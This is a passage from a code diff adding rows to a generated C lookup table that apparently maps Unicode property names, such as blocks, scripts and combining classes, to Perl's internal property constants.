+ { 1, 7136, 849, 6, 14, PL_PUA } /* block=privateusearea */,
+ { 9, 7380, 8648, 7, 3, PL_CCC__130 } /* ccc=ccc130 */,
+ { 3, 184, 8784, 3, 2, PL_CWU } /* iscwu */,
+ { 4, 1918, 7951, 21, 5, PL_CWU } /* changeswhenuppercased=true */,
+ { 1, 2990, 3596, 4, 14, PL_ARABICSUP } /* inarabicsupplement */,
+ { 0, 8006, 7768, 5, 2, -PL_CWKCF } /* cwkcf=f */,
+ { 0, 7136, 8046, 6, 5, PL_INLIMBU } /* block=limbu */,
+ { 4, 2100, 3915, 3, 4, PL_C } /* isother */,
+ { 0, 6890, 3882, 4, 16, PL_MYANMAREXTA } /* blk=myanmarextendeda */,
+ { 1, 8508, 6554, 4, 3, PL_SC__LINB } /* sc=linb */,
+ { 1, 3373, 1083, 17, 7, PL_EA__H } /* eastasianwidth=halfwidth */,
+ { 10, 8816, 8137, 3, 3, PL_NV__1_SLASH_2 } /* nv=1/2 */,
+ { 1, 3129, 4010, 17, 4, PL_TANG } /* scriptextensions=tang */,
+ { 0, 184, 6318, 2, 11, PL_MYANMAREXTB } /* ismyanmarextb */,
+ { 1, 7810, 0, 4, 0, PL_GOTH } /* goth */,
+ { 8, 8011, 982, 3, 2, PL_L_AMP_ } /* gc=lc */,
+ { 0, 4239, 7997, 4, 4, PL_DASH } /* dash=yes */,
+ { 0, 7144, 0, 8, 0, PL_BUGI } /* buginese */,
+ { 0, 21, 7499, 2, 7, PL_KALI } /* inkayahli */,
+ { 6, 7136, 3147, 6, 11, PL_TAIXUANJING } /* block=taixuanjing */,
+ { 2, 6210, 7409, 3, 6, PL_CJKEXTD } /* incjkextd */,
+ { 8, 7478, 6429, 3, 10, PL_SUPERANDSUB } /* issuperandsub */,
+ { 1, 6890, 349, 4, 33, PL_SUPMATHOPERATORS } /* blk=supplementalmathematicaloperators */,
+ { 1, 974, 8899, 24, 2, PL_CCC__35 } /* canonicalcombiningclass=35 */,
+ { 0, 7882, 0, 4, 0, PL_LYDI } /* lydi */,
+ { 0, 3129, 8396, 17, 4, PL_MERC } /* scriptextensions=merc */,
+ { 0, 11, 7768, 2, 2, -PL_DI } /* di=f */,
+ { 10, 7459, 7639, 3, 7, PL_LANA } /* sc=taitham */,
+ { 2, 8096, 3611, 5, 7, PL_BOPO } /* scx=bopomofo */,
+ { 4, 1543, 0, 23, 0, PL_GEOMETRICSHAPESEXT } /* geometricshapesextended */,
+ { 0, 6890, 3994, 4, 6, PL_INSYRIAC } /* blk=syriac */,
+ { 0, 7457, 3978, 5, 16, PL_INSC__SYLLABLEMODIFIER } /* insc=syllablemodifier */,
+ { 0, 1202, 3223, 3, 3, -PL_DEP } /* dep=no */,
+ { 0, 6890, 7956, 4, 5, PL_INADLAM } /* blk=adlam */,
+ { 0, 184, 4841, 2, 14, PL_LATINEXTB } /* islatinextendedb */,
+ { 0, 8360, 0, 4, 0, PL_KTHI } /* kthi */,
+ { 0, 1133, 7997, 26, 4, PL_PCM } /* prependedconcatenationmark=yes */,
+ { 0, 6890, 1543, 4, 15, PL_GEOMETRICSHAPES } /* blk=geometricshapes */,
+ { 1, 184, 3469, 3, 3, PL_CHAM } /* ischam */,
+ { 2, 4542, 7919, 3, 3, PL_THAA } /* isthaa */,
+ { 0, 7459, 2674, 3, 9, PL_SUND } /* sc=sundanese */,
+ { 0, 184, 5258, 2, 13, PL_BLOCKELEMENTS } /* isblockelements */,
+ { 0, 8006, 3581, 5, 2, PL_CWKCF } /* cwkcf=t */,
+ { 0, 7288, 8056, 7, 5, PL_NSHU } /* script=nushu */,
+ { 0, 8196, 8714, 4, 3, PL_AGE__3_DOT_2 } /* age=3.2 */,
+ { 11, 1206, 8112, 3, 4, PL_INTAKRI } /* intakri */,
+ { 0, 7288, 2895, 7, 4, PL_ETHI } /* script=ethi */,
+ { 2, 184, 1184, 2, 25, PL_DI } /* isdefaultignorablecodepoint */,
+ { 0, 6890, 3390, 4, 11, PL_ETHIOPICEXT } /* blk=ethiopicext */,
+ { 0, 7136, 3111, 6, 18, PL_RUMI } /* block=ruminumeralsymbols */,
+ { 1, 6890, 864, 4, 28, PL_SUPPUAB } /* blk=supplementaryprivateuseareab */,
+ { 4, 8016, 4561, 4, 2, PL_WB__EB } /* gcb=eb */,
+ { 10, 8816, 8140, 3, 4, PL_NV__1_SLASH_10 } /* nv=1/10 */,
+ { 1, 2221, 5181, 3, 10, PL_GCB__V } /* hst=voweljamo */,
+ { 1, 8096, 3583, 5, 3, PL_BRAI } /* scx=brai */,
+ { 2, 8288, 8576, 3, 4, PL_EA__F } /* dt=wide */,
+ { 42, 7288, 1160, 7, 4, PL_SC__HANG } /* script=hang */,
+ { 8, 184, 2, 3, 1, PL_CI } /* isci */,
+ { 49, 8011, 1372, 3, 2, PL_LU } /* gc=lu */,
+ { 0, 8340, 8133, 3, 3, PL_JG__AIN } /* jg=ain */,
+ { 0, 3129, 5427, 17, 9, PL_MLYM } /* scriptextensions=malayalam */,
+ { 2, 6944, 0, 9, 0, PL_LATINEXTC } /* latinextc */,
+ { 0, 6210, 43, 3, 35, PL_CJKCOMPATIDEOGRAPHSSUP } /* incjkcompatibilityideographssupplement */,
+ { 0, 4542, 8561, 3, 3, PL_TIBT } /* istibt */,
+ { 0, 184, 1681, 3, 5, PL_ZYYY } /* iscommon */,
+ { 1, 6890, 6120, 4, 11, PL_DOMINO } /* blk=dominotiles */,
+ { 1, 7597, 0, 7, 0, PL_SHAW } /* shavian */,
+ { 3, 21, 1589, 2, 14, PL_LATINEXTA } /* inlatinextendeda */,
+ { 0, 6210, 691, 3, 8, PL_INCUNEIFORM } /* incuneiform */,
+ { 5, 1812, 0, 22, 0, PL_TRANSPORTANDMAP } /* transportandmapsymbols */,
+ { 0, 21, 3738, 2, 6, PL_LATIN1 } /* inlatin1 */,
+ { 0, 6613, 1082, 3, 25, PL_HALFANDFULLFORMS } /* ishalfwidthandfullwidthforms */,
+ { 0, 7912, 0, 4, 0, PL_TELU } /* telu */,
+ { 2, 3129, 8056, 17, 5, PL_NSHU } /* scriptextensions=nushu */,
+ { 0, 7288, 7912, 7, 4, PL_SC__TELU } /* script=telu */,
+ { 0, 7288, 7956, 7, 5, PL_SC__ADLM } /* script=adlam */,
+ { 17, 8783, 7951, 3, 5, PL_CWU } /* cwu=true */,
+ { 5, 2108, 2543, 4, 8, PL_JAMO } /* inhanguljamo */,
+ { 0, 7288, 6989, 7, 9, PL_TALU } /* script=newtailue */,
+ { 0, 117, 2271, 4, 18, PL_ININSCRIPTIONALPAHLAVI } /* ininscriptionalpahlavi */,
+ { 0, 184, 8352, 2, 4, PL_KHMR } /* iskhmr */,
+ { 3, 6890, 8208, 4, 4, PL_INAHOM } /* blk=ahom */,
+ { 2, 8096, 3566, 4, 11, PL_SGNW } /* scx=signwriting */,
+ { 2, 122, 0, 9, 0, PL_DIA } /* diacritic */,
+ { 2, 8288, 4653, 3, 6, PL_DT__SQR } /* dt=square */,
+ { 13, 4402, 1769, 3, 21, PL_MISCTECHNICAL } /* inmiscellaneoustechnical */,
+ { 1, 4479, 8256, 5, 3, PL_NFKCQC__N } /* nfkcqc=n */,
+ { 0, 3129, 2674, 17, 4, PL_SUND } /* scriptextensions=sund */,
+ { 0, 5968, 7570, 3, 6, PL_INOSMANYA } /* inosmanya */,
+ { 5, 7351, 0, 4, 0, PL_TALE } /* tale */,
+ { 1, 6647, 9, 4, 16, PL_CANS } /* iscanadianaboriginal */,
+ { 0, 7136, 2841, 6, 6, PL_INCOPTIC } /* block=coptic */,
+ { 0, 5544, 8176, 13, 4, PL_NV__3_SLASH_20 } /* numericvalue=3/20 */,
+ { 1, 5544, 3743, 13, 1, PL_NV__1 } /* numericvalue=1 */,
+ { 2, 7380, 8669, 4, 3, PL_CCC__202 } /* ccc=202 */,
+ { 2, 7136, 4841, 6, 14, PL_LATINEXTB } /* block=latinextendedb */,
+ { 0, 7478, 7612, 3, 3, PL_SOYO } /* issoyo */,
+ { 1, 7136, 2503, 6, 19, PL_ENCLOSEDALPHANUMSUP } /* block=enclosedalphanumsup */,
+ { 0, 184, 5037, 2, 14, PL_SK } /* ismodifiersymbol */,
+ { 1, 5544, 7750, 13, 3, PL_NV__800 } /* numericvalue=800 */,
+ { 1, 2236, 24, 10, 1, PL_LL } /* category=ll */,
+ { 0, 8376, 8457, 3, 2, PL_LB__SG } /* lb=sg */,
+ { 1, 8795, 1479, 3, 2, PL_INVAI } /* invai */,
+ { 2, 7016, 0, 9, 0, PL_PERM } /* oldpermic */,
+ { 0, 1426, 4743, 22, 14, PL_INSC__GEMINATIONMARK } /* indicsyllabiccategory=geminationmark */,
+ { 0, 8540, 0, 4, 0, PL_TAML } /* taml */,
+ { 2, 5645, 3930, 10, 16, PL_BC__S } /* bidiclass=segmentseparator */,
+ { 1, 6890, 7900, 4, 6, PL_INREJANG } /* blk=rejang */,
+ { 1, 8816, 8862, 3, 2, PL_NV__41 } /* nv=41 */,
+ { 0, 1202, 3581, 3, 2, PL_DEP } /* dep=t */,
+ { 1, 7344, 3581, 8, 2, PL_XIDS } /* xidstart=t */,
+ { 0, 184, 8046, 2, 4, PL_LIMB } /* islimb */,
+ { 1, 8006, 7768, 5, 6, -PL_CWKCF } /* cwkcf=false */,
+ { 0, 1358, 3223, 20, 3, -PL_CE } /* compositionexclusion=no */,
+ { 1, 184, 6989, 2, 9, PL_TALU } /* isnewtailue */,
+ { 0, 6890, 1812, 4, 22, PL_TRANSPORTANDMAP } /* blk=transportandmapsymbols */,
+ { 0, 6706, 8750, 10, 3, PL_IN__6_DOT_1 } /* presentin=6.1 */,
+ { 1, 3129, 8408, 17, 4, PL_MRO } /* scriptextensions=mroo */,
+ { 2, 5544, 8907, 13, 2, PL_NV__44 } /* numericvalue=44 */,
+ { 16, 7104, 0, 8, 0, PL_ARMN } /* armenian */,
+ { 2, 3373, 3, 15, 1, PL_EA__F } /* eastasianwidth=f */,
+ { 0, 6221, 150, 4, 33, PL_DIACRITICALSSUP } /* incombiningdiacriticalmarkssupplement */,
+ { 0, 5544, 7941, 13, 2, PL_NV__11 } /* numericvalue=11 */,
+ { 8, 184, 436, 2, 5, PL_NCHAR } /* isnchar */,
+ { 2, 892, 3581, 17, 2, PL_VS } /* variationselector=t */,
+ { 3, 1918, 7997, 21, 4, PL_CWU } /* changeswhenuppercased=yes */,
+ { 4, 7380, 8685, 7, 2, PL_CCC__24 } /* ccc=ccc24 */,
+ { 2, 6713, 7756, 3, 1, PL_IN__9 } /* in=9 */,
+ { 2, 5192, 2986, 3, 17, PL_IDST } /* isidstrinaryoperator */,
+ { 1, 974, 8168, 27, 2, PL_CCC__17 } /* canonicalcombiningclass=ccc17 */,
+ { 0, 8096, 8245, 5, 3, PL_BHKS } /* scx=bhks */,
+ { 0, 8340, 6285, 3, 11, PL_JG__MALAYALAMRA } /* jg=malayalamra */,
+ { 9, 7136, 3560, 6, 17, PL_SUTTONSIGNWRITING } /* block=suttonsignwriting */,
+ { 0, 7380, 5219, 4, 2, PL_CCC__10 } /* ccc=10 */,
+ { 2, 3129, 8320, 17, 4, PL_HLUW } /* scriptextensions=hluw */,
+ { 3, 7344, 7768, 8, 2, -PL_XIDS } /* xidstart=f */,
+ { 0, 8096, 1108, 5, 4, PL_BATK } /* scx=batak */,
+ { 2, 949, 7997, 2, 4, PL_CI } /* ci=yes */,
+ { 0, 415, 3223, 11, 3, -PL_IDEO } /* ideographic=no */,
+ { 0, 6713, 8858, 3, 3, PL_IN__4 } /* in=v40 */,
+ { 0, 7136, 1282, 6, 24, PL_CJKSYMBOLS } /* block=cjksymbolsandpunctuation */,
+ { 2, 7956, 0, 5, 0, PL_ADLM } /* adlam */,
+ { 0, 8076, 3223, 5, 2, -PL_PATWS } /* patws=n */,
+ { 1, 184, 8300, 2, 4, PL_GREK } /* isgrek */,
+ { 6, 8026, 2289, 5, 4, PL_INPC__LEFT } /* inpc=left */,
+ { 7, 2229, 8941, 16, 2, PL_ZS } /* generalcategory=zs */,
+ { 1, 7288, 8432, 7, 3, PL_NKO } /* script=nko */,
+ { 1, 184, 2023, 2, 21, PL_LOE } /* islogicalorderexception */,
+ { 1, 2985, 7997, 4, 2, PL_IDST } /* idst=y */,
+ { 0, 6472, 34, 10, 2, PL_WB__EX } /* wordbreak=ex */,
+ { 3, 2044, 0, 21, 0, PL_MEETEIMAYEKEXT } /* meeteimayekextensions */,
+ { 3, 7136, 1702, 6, 12, PL_DIACRITICALS } /* block=diacriticals */,
+ { 0, 7380, 8703, 7, 2, PL_CCC__34 } /* ccc=ccc34 */,
+ { 2, 184, 43, 3, 25, PL_CJKCOMPATIDEOGRAPHS } /* iscjkcompatibilityideographs */,
+ { 0, 7982, 7154, 4, 6, PL_INDUPLOYAN } /* induployan */,
+ { 4, 6890, 3288, 4, 17, PL_INCAUCASIANALBANIAN } /* blk=caucasianalbanian */,
+ { 2, 5192, 6, 3, 2, PL_IDC } /* isidc */,
+ { 1, 8096, 7061, 4, 9, PL_SAMR } /* scx=samaritan */,
+ { 0, 76, 7762, 2, 6, PL_NT__DI } /* nt=digit */,
+ { 0, 3129, 8232, 17, 4, PL_AVST } /* scriptextensions=avst */,
+ { 1, 7288, 2674, 7, 9, PL_SUND } /* script=sundanese */,
+ { 1, 436, 3223, 5, 2, -PL_NCHAR } /* nchar=n */,
+ { 3, 8572, 8935, 3, 2, PL_WB__XX } /* wb=xx */,
+ { 2, 949, 3223, 2, 2, -PL_CI } /* ci=n */,
+ { 3, 7288, 8220, 7, 4, PL_SC__ARMN } /* script=armn */,
+ { 1, 7834, 6472, 6, 4, PL_POSIXWORD } /* isperlword */,
+ { 0, 892, 7768, 17, 2, -PL_VS } /* variationselector=f */,
+ { 7, 1746, 18, 21, 2, PL_RI } /* graphemeclusterbreak=ri */,
+ { 3, 184, 7402, 3, 6, PL_CJKEXTC } /* iscjkextc */,
+ { 1, 3390, 0, 17, 0, PL_ETHIOPICEXTA } /* ethiopicextendeda */,
+ { 4, 2859, 5969, 18, 12, PL_DT__NONCANON } /* decompositiontype=noncanonical */,
+ { 12, 5657, 3581, 12, 2, PL_BIDIM } /* bidimirrored=t */,
+ { 0, 4923, 0, 12, 0, PL_INMANICHAEAN } /* inmanichaean */,
+ { 6, 8096, 2787, 4, 8, PL_CHER } /* scx=cherokee */,
+ { 1, 184, 4239, 2, 15, PL_PD } /* isdashpunctuation */,
+ { 5, 974, 7750, 24, 1, PL_CCC__8 } /* canonicalcombiningclass=8 */,
+ { 1, 184, 6908, 2, 9, PL_EMOTICONS } /* isemoticons */,
+ { 1, 8016, 18, 4, 2, PL_RI } /* gcb=ri */,
+ { 0, 3129, 3882, 17, 7, PL_MYMR } /* scriptextensions=myanmar */,
+ { 10, 6890, 2877, 4, 13, PL_DEVANAGARIEXT } /* blk=devanagariext */,
+ { 0, 1159, 7951, 25, 5, PL_CWKCF } /* changeswhennfkccasefolded=true */,
+ { 1, 5544, 7756, 13, 2, PL_NV__90 } /* numericvalue=90 */,
+ { 1, 84, 7997, 4, 4, PL_MATH } /* math=yes */,
+ { 0, 24, 0, 1, 0, PL_L } /* l */,
+ { 2, 4449, 7375, 14, 5, PL_NFCQC__M } /* nfcquickcheck=maybe */,
+ { 1, 974, 7702, 24, 2, PL_CCC__20 } /* canonicalcombiningclass=20 */,
+ { 0, 1834, 7951, 21, 5, PL_CWCF } /* changeswhencasefolded=true */,
+ { 0, 3129, 7810, 17, 4, PL_GOTH } /* scriptextensions=goth */,
+ { 1, 8777, 7997, 3, 4, PL_CWL } /* cwl=yes */,
+ { 0, 6696, 0, 10, 0, PL_PHNX } /* phoenician */,
+ { 1, 2598, 0, 19, 0, PL_MERO } /* meroitichieroglyphs */,
+ { 16, 21, 7506, 2, 7, PL_INLINEARA } /* inlineara */,
+ { 6, 7288, 7786, 7, 6, PL_SC__CAKM } /* script=chakma */,
+ { 0, 2369, 3183, 20, 18, PL_VO__TR } /* verticalorientation=transformedrotated */,
+ { 1, 6613, 2327, 3, 3, PL_HATR } /* ishatr */,
+ { 0, 8240, 5413, 3, 3, PL_BC__RLO } /* bc=rlo */,
+ { 1, 974, 8171, 27, 2, PL_CCC__23 } /* canonicalcombiningclass=ccc23 */,
+ { 11, 7136, 7882, 6, 6, PL_INLYDIAN } /* block=lydian */,
+ { 0, 7136, 2541, 6, 19, PL_JAMOEXTA } /* block=hanguljamoextendeda */,
+ { 0, 4314, 8837, 13, 3, PL_JG__TAH } /* joininggroup=tah */,
+ { 0, 8096, 1111, 4, 4, PL_KANA } /* scx=kana */,
+ { 1, 4314, 3834, 13, 16, PL_JG__MANICHAEANTWENTY } /* joininggroup=manichaeantwenty */,
+ { 1, 184, 2967, 2, 8, PL_GEOR } /* isgeorgian */,
+ { 1, 8268, 0, 4, 0, PL_CPRT } /* cprt */,
+ { 2, 4284, 4042, 14, 8, PL_LB__H3 } /* hangulsyllabletype=lvt */,
+ { 0, 8096, 8056, 4, 5, PL_NSHU } /* scx=nushu */,
+ { 1, 5657, 3223, 12, 3, -PL_BIDIM } /* bidimirrored=no */,
+ { 0, 7816, 7951, 6, 5, PL_GRBASE } /* grbase=true */,
+ { 1, 6210, 1283, 3, 9, PL_CJKSYMBOLS } /* incjksymbols */,
+ { 0, 7345, 7768, 7, 2, -PL_IDS } /* idstart=f */,
+ { 4, 2134, 7768, 3, 6, -PL_XPOSIXXDIGIT } /* hex=false */,
+ { 2, 7288, 8106, 7, 5, PL_SC__TALE } /* script=taile */,
+ { 8, 2229, 24, 17, 1, PL_LL } /* generalcategory=ll */,
+ { 0, 7224, 1887, 8, 5, PL_XPOSIXLOWER } /* isxposixlower */,
+ { 5, 4449, 0, 15, 0, PL_COMPEX } /* nfcquickcheck=n */,
+ { 2, 7459, 7248, 3, 4, PL_SC__JAVA } /* sc=java */,
+ { 0, 7226, 6472, 6, 4, PL_XPOSIXWORD } /* xposixword */,
+ { 2, 6210, 571, 3, 29, PL_CJKEXTC } /* incjkunifiedideographsextensionc */,
+ { 12, 1358, 3223, 20, 2, -PL_CE } /* compositionexclusion=n */,
+ { 3, 6472, 7804, 11, 6, PL_WB__NL } /* wordbreak=newline */,
+ { 19, 7459, 7144, 3, 8, PL_SC__BUGI } /* sc=buginese */,
+ { 1, 7478, 0, 7, 0, PL_XPOSIXSPACE } /* isspace */,
+ { 1, 8816, 7750, 3, 4, PL_NV__8000 } /* nv=8000 */,
+ { 27, 7288, 6917, 7, 9, PL_SC__QAAI } /* script=inherited */,
+ { 7, 7380, 8640, 7, 2, PL_CCC__18 } /* ccc=ccc18 */,
+ { 1, 8096, 7660, 4, 7, PL_TIRH } /* scx=tirhuta */,
+ { 0, 8011, 698, 3, 2, PL_MN } /* gc=mn */,
+ { 0, 11, 7997, 2, 4, PL_DI } /* di=yes */,
+ { 4, 7478, 1613, 3, 22, PL_SHORTHANDFORMATCONTROLS } /* isshorthandformatcontrols */,
+ { 8, 7471, 8081, 7, 5, PL_POSIXPRINT } /* isposixprint */,
+ { 0, 5284, 3581, 13, 2, PL_CI } /* caseignorable=t */,
+ { 0, 7136, 4799, 6, 14, PL_HIGHSURROGATES } /* block=highsurrogates */,
+ { 0, 1929, 7997, 5, 2, PL_XPOSIXUPPER } /* upper=y */,
+ { 0, 5645, 2931, 10, 18, PL_BC__FSI } /* bidiclass=firststrongisolate */,
+ { 0, 1981, 0, 21, 0, PL_CYRILLICSUP } /* cyrillicsupplementary */,
+ { 5, 6890, 7336, 4, 8, PL_INUGARITIC } /* blk=ugaritic */,
+ { 6, 5250, 7768, 8, 6, -PL_XPOSIXXDIGIT } /* hexdigit=false */,
+ { 0, 3129, 7128, 17, 8, PL_BASS } /* scriptextensions=bassavah */,
+ { 1, 7380, 8691, 4, 2, PL_CCC__28 } /* ccc=28 */,
+ { 0, 184, 7876, 2, 6, PL_LYCI } /* islycian */,
+ { 4, 2750, 0, 19, 0, PL_TERM } /* terminalpunctuation */,
+ { 0, 2108, 2817, 5, 6, PL_HALFMARKS } /* inhalfmarks */,
+ { 0, 3147, 0, 11, 0, PL_TAIXUANJING } /* taixuanjing */,
+ { 0, 7288, 2002, 7, 21, PL_PRTI } /* script=inscriptionalparthian */,
+ { 7, 184, 4269, 2, 15, PL_DIACRITICALSSUP } /* isdiacriticalssup */,
+ { 1, 7816, 7997, 6, 2, PL_GRBASE } /* grbase=y */,
+ { 0, 4757, 0, 14, 0, PL_GREXT } /* graphemeextend */,
+ { 6, 2134, 3581, 3, 2, PL_XPOSIXXDIGIT } /* hex=t */,
+ { 2, 5031, 0, 3, 0, PL_ANY } /* any */,
+ { 1, 7136, 3738, 6, 16, PL_LATIN1 } /* block=latin1supplement */,
+ { 1, 7380, 2590, 4, 2, PL_CCC__1 } /* ccc=ov */,
+ { 7, 184, 27, 2, 2, PL_LL } /* isll */,
+ { 0, 3566, 0, 11, 0, PL_SGNW } /* signwriting */,
+ { 1, 7288, 7822, 7, 6, PL_HATR } /* script=hatran */,
+ { 6, 1202, 7997, 3, 4, PL_DEP } /* dep=yes */,
+ { 1, 3129, 7876, 17, 4, PL_LYCI } /* scriptextensions=lyci */,
+ { 10, 6890, 6505, 4, 11, PL_YISYLLABLES } /* blk=yisyllables */,
+ { 0, 8096, 2269, 4, 20, PL_PHLI } /* scx=inscriptionalpahlavi */,
+ { 3, 4314, 5741, 13, 12, PL_JG__FINALSEMKATH } /* joininggroup=finalsemkath */,
+ { 53, 7288, 8540, 7, 4, PL_SC__TAML } /* script=taml */,
+ { 1, 6890, 2787, 4, 11, PL_CHEROKEESUP } /* blk=cherokeesup */,
+ { 8, 8780, 7997, 3, 2, PL_CWT } /* cwt=y */,
+ { 1, 7288, 8580, 7, 4, PL_XPEO } /* script=xpeo */,
+ { 5, 7288, 4105, 8, 4, PL_BAMU } /* script=bamum */,
+ { 0, 3754, 0, 16, 0, PL_LINEARBIDEOGRAMS } /* linearbideograms */,
+ { 2, 48, 0, 1, 0, PL_P } /* p */,
+ { 6, 1417, 1679, 9, 2, PL_PC } /* category=pc */,
+ { 0, 6890, 7401, 4, 7, PL_CJKEXTC } /* blk=cjkextc */,
+ { 4, 3390, 0, 11, 0, PL_ETHIOPICEXT } /* ethiopicext */,
+ { 1, 7136, 6696, 6, 10, PL_INPHOENICIAN } /* block=phoenician */,
+ { 0, 8196, 8870, 4, 3, PL_AGE__5_DOT_2 } /* age=v52 */,
+ { 0, 7459, 8580, 3, 4, PL_XPEO } /* sc=xpeo */,
+ { 0, 8504, 8101, 3, 5, PL_SB__ST } /* sb=sterm */,
+ { 3, 5544, 7726, 13, 6, PL_NV__432000 } /* numericvalue=432000 */,
+ { 0, 21, 7858, 2, 6, PL_INKHOJKI } /* inkhojki */,
+ { 0, 1282, 0, 24, 0, PL_CJKSYMBOLS } /* cjksymbolsandpunctuation */,
+ { 0, 3129, 5777, 17, 6, PL_HEBR } /* scriptextensions=hebrew */,
+ { 4, 8795, 893, 3, 27, PL_VSSUP } /* invariationselectorssupplement */,
+ { 0, 7459, 2149, 3, 20, PL_HLUW } /* sc=anatolianhieroglyphs */,
+ { 0, 5544, 1335, 13, 3, PL_NV__NAN } /* numericvalue=nan */,
+ { 1, 8011, 218, 3, 2, PL_PE } /* gc=pe */,
+ { 1, 8096, 8200, 4, 4, PL_AGHB } /* scx=aghb */,
+ { 3, 106, 0, 6, 0, PL_S } /* symbol */,
+ { 0, 8096, 3882, 4, 7, PL_MYMR } /* scx=myanmar */,
+ { 2, 184, 1887, 2, 9, PL_XPOSIXLOWER } /* islowercase */,
+ { 24, 8816, 7732, 3, 6, PL_NV__500000 } /* nv=500000 */,
+ { 2, 3129, 6406, 17, 11, PL_SORA } /* scriptextensions=sorasompeng */,
+ { 13, 8588, 0, 4, 0, PL_YI } /* yiii */,
+ { 5, 8011, 0, 4, 0, PL_S } /* gc=s */,
+ { 0, 2221, 4046, 3, 12, PL_LB__H3 } /* hst=lvtsyllable */,
+ { 9, 7136, 2895, 6, 11, PL_ETHIOPICSUP } /* block=ethiopicsup */,
+ { 3, 7459, 2107, 3, 7, PL_SC__SINH } /* sc=sinhala */,
+ { 1, 8894, 472, 3, 2, PL_VO__TU } /* vo=tu */,
+ { 49, 21, 8209, 3, 3, PL_INAHOM } /* inahom */,
+ { 1, 7136, 1585, 6, 4, PL_JAMO } /* block=jamo */,
+ { 1, 3129, 8536, 17, 4, PL_TALU } /* scriptextensions=talu */,
+ { 8, 3129, 690, 17, 9, PL_XSUX } /* scriptextensions=cuneiform */,
+ { 0, 7380, 8636, 7, 3, PL_CCC__107 } /* ccc=ccc107 */,
+ { 9, 8096, 7152, 4, 8, PL_DUPL } /* scx=duployan */,
+ { 3, 4314, 5861, 13, 12, PL_JG__MALAYALAMNGA } /* joininggroup=malayalamnga */,
+ { 0, 7136, 3611, 7, 10, PL_BOPOMOFOEXT } /* block=bopomofoext */,
+ { 5, 7459, 7653, 3, 7, PL_TIBT } /* sc=tibetan */,
+ { 0, 6616, 3223, 10, 2, -PL_DEP } /* deprecated=n */,
+ { 5, 4104, 0, 8, 0, PL_BAMUMSUP } /* bamumsup */,
+ { 4, 7459, 2787, 3, 8, PL_CHER } /* sc=cherokee */,
+ { 0, 8795, 4615, 3, 14, PL_VEDICEXT } /* invedicextensions */,
+ { 0, 4479, 7375, 15, 5, PL_NFCQC__M } /* nfkcquickcheck=maybe */,
+ { 1, 7136, 3882, 6, 16, PL_MYANMAREXTA } /* block=myanmarextendeda */,
+ { 0, 7136, 148, 6, 35, PL_DIACRITICALSSUP } /* block=combiningdiacriticalmarkssupplement */,
+ { 0, 3129, 7312, 17, 4, PL_TAGB } /* scriptextensions=tagb */,
+ { 0, 8026, 469, 3, 10, PL_INPUNCTUATION } /* inpunctuation */,
+ { 0, 6210, 4225, 3, 14, PL_CURRENCYSYMBOLS } /* incurrencysymbols */,
+ { 1, 1426, 2446, 22, 19, PL_INSC__CONSONANTHEADLETTER } /* indicsyllabiccategory=consonantheadletter */,
+ { 0, 479, 0, 31, 0, PL_MATHALPHANUM } /* mathematicalalphanumericsymbols */,
+ { 0, 21, 6935, 2, 9, PL_LATINEXTB } /* inlatinextb */,
+ { 2, 6472, 4653, 10, 2, PL_WB__SQ } /* wordbreak=sq */,
+ { 2, 6890, 779, 4, 29, PL_MISCARROWS } /* blk=miscellaneoussymbolsandarrows */,
+ { 1, 1417, 3690, 9, 16, PL_PF } /* category=finalpunctuation */,
+ { 5, 7288, 8380, 7, 4, PL_SC__LINA } /* script=lina */,
+ { 0, 6890, 8408, 4, 3, PL_INMRO } /* blk=mro */,
+ { 0, 7288, 2787, 7, 4, PL_CHER } /* script=cher */,
+ { 5, 8816, 8165, 3, 3, PL_NV__5_SLASH_2 } /* nv=5/2 */,
+ { 8, 7136, 8556, 6, 4, PL_INTHAI } /* block=thai */,
+ { 8, 8816, 7710, 3, 2, PL_NV__60 } /* nv=60 */,
+ { 0, 217, 25, 29, 1, PL__PERL_PROBLEMATIC_LOCALE_FOLDS } /* _perl_problematic_locale_folds */,
+ { 14, 184, 1202, 2, 3, PL_DEP } /* isdep */,
+ { 2, 8096, 1566, 4, 6, PL_HANG } /* scx=hangul */,
+ { 0, 96, 3223, 10, 2, -PL_XPOSIXALPHA } /* alphabetic=n */,
+ { 0, 7478, 44, 3, 1, PL_SK } /* issk */,
+ { 0, 3129, 7604, 17, 7, PL_SIDD } /* scriptextensions=siddham */,
+ { 0, 5544, 7727, 13, 2, PL_NV__32 } /* numericvalue=32 */,
+ { 4, 8288, 3690, 3, 5, PL_DT__FIN } /* dt=final */,
+ { 0, 7459, 8524, 3, 4, PL_SC__SHRD } /* sc=shrd */,
+ { 0, 18, 0, 2, 0, PL_RI } /* ri */,
+ { 4, 2369, 3201, 20, 18, PL_VO__TU } /* verticalorientation=transformedupright */,
+ { 0, 7459, 2249, 3, 10, PL_SC__GLAG } /* sc=glagolitic */,
+ { 2, 6890, 7506, 4, 7, PL_INLINEARA } /* blk=lineara */,
+ { 1, 5777, 0, 6, 0, PL_HEBR } /* hebrew */,
+ { 0, 6806, 0, 10, 0, PL_WARA } /* warangciti */,
+ { 0, 7136, 7007, 6, 9, PL_INOLDITALIC } /* block=olditalic */,
+ { 2, 4314, 5505, 13, 13, PL_JG__MANICHAEANTEN } /* joininggroup=manichaeanten */,
+ { 10, 4923, 481, 4, 29, PL_MATHALPHANUM } /* inmathematicalalphanumericsymbols */,
+ { 0, 3021, 0, 18, 0, PL_LATINEXTADDITIONAL } /* latinextadditional */,
+ { 0, 6890, 5121, 4, 14, PL_INPSALTERPAHLAVI } /* blk=psalterpahlavi */,
+ { 4, 2229, 25, 16, 1, PL_S } /* generalcategory=s */,
+ { 0, 2859, 3690, 18, 5, PL_DT__FIN } /* decompositiontype=final */,
+ { 6, 184, 8304, 2, 4, PL_GUJR } /* isgujr */,
+ { 3, 7288, 8608, 7, 4, PL_ZZZZ } /* script=zzzz */,
+ { 9, 8786, 9, 3, 2, PL_EA__NA } /* ea=na */,
+ { 1, 8572, 5777, 3, 12, PL_LB__HL } /* wb=hebrewletter */,
+ { 0, 6076, 3223, 11, 2, -PL_BIDIC } /* bidicontrol=n */,
+ { 2, 6472, 5435, 10, 2, PL_WB__ML } /* wordbreak=ml */,
+ { 2, 6890, 1306, 4, 24, PL_DIACRITICALSFORSYMBOLS } /* blk=combiningmarksforsymbols */,
+ { 0, 2636, 0, 19, 0, PL_MONGOLIANSUP } /* mongoliansupplement */,
+ { 8, 7136, 5121, 6, 14, PL_INPSALTERPAHLAVI } /* block=psalterpahlavi */,
+ { 16, 5645, 7768, 5, 2, -PL_BIDIC } /* bidic=f */,
+ { 0, 122, 7951, 9, 5, PL_DIA } /* diacritic=true */,
